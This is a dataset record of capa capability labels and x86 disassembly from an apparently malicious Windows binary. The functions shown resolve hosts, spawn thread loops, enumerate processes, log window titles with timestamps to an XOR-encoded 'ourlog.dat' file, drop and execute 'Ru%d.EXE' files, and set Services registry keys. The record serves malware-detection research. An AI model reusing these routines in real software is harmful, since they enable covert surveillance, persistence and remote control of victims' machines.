joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407f49
Capabilities:
Create thread
Resolve dns

Disassembly:
mov eax, 0x45d33c
call fcn.0045c8d0
push ecx
push ebx
push esi
push dword [ebp + 8]
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString_2
xor ebx, ebx
push 7
push ebx
lea ecx, [ebp + 8]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::Delete
mov esi, 0x48a5dc
lea ecx, [ebp + 8]
push esi
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x49c144
mov byte [ebp - 4], 1
call fcn.0045c84c
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push esi
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Find
push eax
push ebx
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Delete
lea eax, [ebp + 8]
mov ecx, 0x49c6a8
push eax
call fcn.0045c84c
push dword [0x49c144]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [0x49c144]
cmp eax, 0xffffffff
jne 0x408008
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x408014
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x48a400], 0xffffffff
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push edi
mov edi, dword [ebp + 0x14]
mov dword [0x48a3f4], eax
mov eax, dword [ebp + 0x10]
cmp edi, ebx
mov dword [0x48a3f8], eax
mov dword [0x49c038], ebx
jle 0x408059
push ebx
push ebx
push ebx
push 0x407d2e
push ebx
push ebx
call esi
inc dword [0x49c038]
cmp dword [0x49c038], edi
jl 0x40803f
cmp dword [0x48a3f8], ebx
pop edi
je 0x40806e
push ebx
push ebx
push ebx
push 0x4072c0
push ebx
push ebx
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x408088
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x4080ac
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4080a5
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret
Function at 0x408553
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x408595
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x4085a1
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [0x48a400], 0xffffffff
je 0x4085f4
or dword [0x48a400], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x49c038], esi
jle 0x4085df
push esi
push esi
push esi
push 0x4080ad
push esi
push esi
call edi
inc dword [0x49c038]
cmp dword [0x49c038], ebx
jl 0x4085c5
cmp dword [0x48a3f8], esi
pop ebx
je 0x4085f4
push esi
push esi
push esi
push 0x4072c0
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret

Function at 0x4089e8
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x408a2a
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x408a36
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [0x48a400], 0xffffffff
je 0x408a89
or dword [0x48a400], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x49c038], esi
jle 0x408a74
push esi
push esi
push esi
push 0x4085f8
push esi
push esi
call edi
inc dword [0x49c038]
cmp dword [0x49c038], ebx
jl 0x408a5a
cmp dword [0x48a3f8], esi
pop ebx
je 0x408a89
push esi
push esi
push esi
push 0x4072c0
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret
Function at 0x408b90
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x408bd2
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x408bde
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
cmp dword [0x48a400], 0xffffffff
mov dword [0x48a3f4], eax
mov eax, dword [ebp + 0x10]
mov dword [0x48a3f8], eax
je 0x408c41
or dword [0x48a400], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x49c038], esi
jle 0x408c2c
push esi
push esi
push esi
push 0x408a8d
push esi
push esi
call edi
inc dword [0x49c038]
cmp dword [0x49c038], ebx
jl 0x408c12
cmp dword [0x48a3f8], esi
pop ebx
je 0x408c41
push esi
push esi
push esi
push 0x4072c0
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret

Function at 0x408dfe
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x408e40
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x408e4c
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [0x48a400], 0xffffffff
je 0x408e9f
or dword [0x48a400], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x49c038], esi
jle 0x408e8a
push esi
push esi
push esi
push 0x408c7b
push esi
push esi
call edi
inc dword [0x49c038]
cmp dword [0x49c038], ebx
jl 0x408e70
cmp dword [0x48a3f8], esi
pop ebx
je 0x408e9f
push esi
push esi
push esi
push 0x4072c0
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret
Function at 0x40909e
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [ebp - 0x128]
push eax
push ebx
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x40914e
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x12
je 0x409155
mov esi, dword [sym.imp.MSVCRT.dll__wcsupr]
push edi
push dword [ebp + 8]
call esi
mov edi, eax
lea eax, [ebp - 0x104]
push eax
call esi
push edi
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x10
test eax, eax
pop edi
ja 0x40915b
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x40914e
mov esi, dword [sym.imp.MSVCRT.dll__mbslwr]
lea eax, [ebp - 0x104]
push eax
call esi
push dword [ebp + 8]
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x10
test eax, eax
jne 0x40915b
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x409118
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop esi
pop ebx
leave
ret
push 1
pop eax
jmp 0x409157

Function at 0x409843
Capabilities:
Send data
Send data on socket

Disassembly:
push 0
push 2
push 0x48a6fc
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x409875
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x409875
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
ret
push 1
pop eax
ret
Function at 0x409b15
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
and byte [ebp - 0x428], 0
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
push 0x400
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x428]
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
and byte [ebp - 4], 0
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x53
push eax
lea eax, [ebp - 0x428]
push eax
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea eax, [ebp - 0x428]
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
push eax
push reloc.WS2_32.dll_bind
call fcn.0040aeaa
add esp, 0x1c
pop edi
leave
ret

Function at 0x409c4e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push dword [ebp + 0xc]
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x43
push eax
mov byte [ebp - 0xf], 0x6f
push dword [ebp + 8]
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x47
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x70
call fcn.00409b15
add esp, 0xc
leave
ret

Function at 0x409d2d
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x9f54], ebx
mov dword [esi], 0x47d634
jbe 0x409d67
push edi
lea edi, [esi + 0x314]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc ebx
add edi, 4
cmp ebx, dword [esi + 0x9f54]
jb 0x409d48
pop edi
mov ecx, esi
call fcn.0040a91e
pop esi
pop ebx
ret
Function at 0x40a023
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get common file path
Get file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
push ebx
push esi
lea eax, [ebp - 0x150]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
xor ebx, ebx
mov byte [ebp - 0x14], 0x5c
mov byte [ebp - 0x13], 0x52
mov byte [ebp - 0x12], 0x75
mov byte [ebp - 0x11], 0x25
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x2e
mov byte [ebp - 0xe], 0x45
mov byte [ebp - 0xd], 0x58
mov byte [ebp - 0xc], 0x45
mov byte [ebp - 0xb], bl
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push 0x80
push 2
push ebx
push 2
lea eax, [ebp - 0x150]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40a128
lea eax, [ebp - 0x18]
push ebx
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp + 0x10], 2
je 0x40a128
mov ecx, dword [0x49d6f4]
lea eax, [ebp - 0x150]
push 0x2e
push eax
call fcn.0040ac5a
test eax, eax
je 0x40a128
lea eax, [ebp - 0x150]
mov byte [ebp - 8], 0x6f
push eax
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x6e
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40a128
push 5
push ebx
lea eax, [ebp - 0x150]
push ebx
push eax
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop esi
xor eax, eax
pop ebx
leave
ret 0xc
Function at 0x40a1cf
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
push edi
lea eax, [ebp - 0x11c]
xor ebx, ebx
push 0x104
push eax
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x67
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], bl
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push 0x80
push 4
push ebx
push 2
lea eax, [ebp - 0x11c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push ebx
push eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp eax, 0x3200000
jae 0x40a26e
push 2
push ebx
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
call esi
push eax
mov dword [ebp - 4], eax
call sub.MFC42.DLL_operatornew
mov edx, dword [ebp - 4]
pop ecx
cmp edx, ebx
mov edi, eax
jle 0x40a2a2
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], edx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec dword [ebp - 4]
jne 0x40a294
lea eax, [ebp - 0x18]
push ebx
push eax
push dword [ebp + 8]
call esi
push eax
push edi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
mov dword [0x49cec8], 1
call sub.MFC42.DLL_operatordelete
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a2d6
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
mov ebx, 0x400
push edi
push ebx
mov esi, 0x49ced8
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push ebx
push esi
push eax
mov dword [0x49d2d8], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and byte [ebp - 0x414], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
and dword [ebp - 4], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x49d2d8]
cmp eax, dword [0x49ced4]
je 0x40a3b4
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jle 0x40a3aa
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x414]
push 0x48adf8
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x414]
push eax
call fcn.0040a1cf
push ebx
lea eax, [ebp - 0x414]
push 0
push eax
call sub.MSVCRT.dll_memset
push ebx
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0x40
mov dword [ebp - 4], 1
mov eax, dword [0x49d2d8]
mov dword [0x49ced4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a6c5
Capabilities:
Contain obfuscated stackstrings
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and byte [ebp - 1], 0
lea eax, [ebp - 0x110]
push 0x104
push eax
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
leave
ret
Function at 0x40a7f8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
lea eax, [ebp - 0x11c]
xor ebx, ebx
push 0x104
mov dword [ebp - 0x14], ecx
push eax
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0xc]
mov byte [ebp - 0xc], 0x5c
push eax
lea eax, [ebp - 0x11c]
push eax
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x11c]
push accept
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x40a8c8
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
push edi
call sub.MFC42.DLL_operatornew
pop ecx
mov esi, eax
lea eax, [ebp - 0x18]
push ebx
push eax
push edi
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp edi, ebx
jbe 0x40a8b3
xor byte [ebx + esi], 0x62
inc ebx
cmp ebx, edi
jb 0x40a8aa
mov ecx, dword [ebp - 0x14]
push edi
push esi
call fcn.0040a7ae
push esi
mov ebx, eax
call sub.MFC42.DLL_operatordelete
pop ecx
pop edi
pop esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, ebx
pop ebx
leave
ret

Function at 0x40ad11
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
jbe 0x40ad78
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [edi + 1]
push 0x6e
cdq
pop ecx
idiv ecx
push 0x6e
mov edi, edx
mov bl, byte [edi + esi]
movzx eax, bl
add eax, dword [ebp - 8]
cdq
idiv ecx
mov cl, byte [edx + esi]
mov byte [edi + esi], cl
mov ecx, dword [ebp - 4]
mov byte [edx + esi], bl
mov dword [ebp - 8], edx
lea eax, [edx + esi]
mov eax, dword [ebp + 0xc]
add ecx, eax
movzx eax, byte [edi + esi]
movzx edx, bl
add eax, edx
pop ebx
cdq
idiv ebx
mov al, byte [edx + esi]
xor byte [ecx], al
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jb 0x40ad29
pop esi
pop ebx
pop edi
leave
ret 0xc
Function at 0x40ada8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47d658
push 0x45c950
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x23c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x124], bl
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x123]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x24c]
push eax
push 0x20019
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40ae0f
or dword [ebp - 0x20], 0xffffffff
jmp 0x40ae71
cmp dword [ebp + 0x24], ebx
jne 0x40ae71
cmp dword [ebp + 0x14], ebx
jbe 0x40ae71
cmp dword [ebp + 0x14], 2
ja 0x40ae71
mov dword [ebp - 0x1c], 0x104
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0x24c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40ae71
lea eax, [ebp - 0x124]
push eax
mov ecx, dword [0x49d6f4]
call fcn.0040aa0f
push eax
push dword [ebp + 0x18]
mov ecx, dword [0x49d6f4]
call fcn.0040abb9
mov dword [ebp - 0x20], 1
or dword [ebp - 4], 0xffffffff
call fcn.0040ae8e
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40aeaa
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47d668
push 0x45c950
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 0x20]
sub eax, esi
je 0x40aee1
dec eax
je 0x40af02
jmp 0x40af55
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40af55
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40af55
cmp dword [ebp + 0x14], esi
jbe 0x40af55
cmp dword [ebp + 0x14], 2
ja 0x40af55
push dword [ebp + 0x18]
mov ecx, dword [0x49d6f4]
call fcn.0040ab52
inc eax
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push esi
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40af55
mov dword [ebp - 0x1c], 1
or dword [ebp - 4], 0xffffffff
call fcn.0040af70
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b029
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
push edi
xor esi, esi
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 8]
push eax
push 0xf003f
lea eax, [ecx + 8]
push esi
push eax
push dword [ecx + 4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b157
push esi
lea eax, [ebp - 0x20]
push esi
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x18]
push esi
push eax
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x40b086
xor eax, eax
jmp 0x40b159
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 4], esi
lea edi, [eax + 1]
jbe 0x40b157
cmp edi, 1
jbe 0x40b157
mov esi, edi
push ebx
imul esi, dword [ebp - 4]
add esi, 0xe
push esi
push 0x40
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov ebx, eax
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
mov byte [ebx], 6
mov eax, dword [ebp - 4]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push 0xd
push eax
lea eax, [ebx + 1]
mov dword [ebp - 0x30], edi
push eax
call sub.MSVCRT.dll_memcpy
push edi
call sub.MFC42.DLL_operatornew
and dword [ebp - 0xc], 0
add esp, 0x1c
cmp dword [ebp - 4], 0
mov dword [ebp - 0x10], eax
jbe 0x40b138
lea eax, [ebx + 0xd]
mov dword [ebp - 0x14], eax
push edi
push 0
push dword [ebp - 0x10]
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x1c], edi
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call sub.MSVCRT.dll_strcpy
inc dword [ebp - 0xc]
add dword [ebp - 0x14], edi
mov eax, dword [ebp - 0xc]
pop ecx
cmp eax, dword [ebp - 4]
pop ecx
jb 0x40b0f3
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x42
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_LocalReAlloc]
push dword [ebp - 0x10]
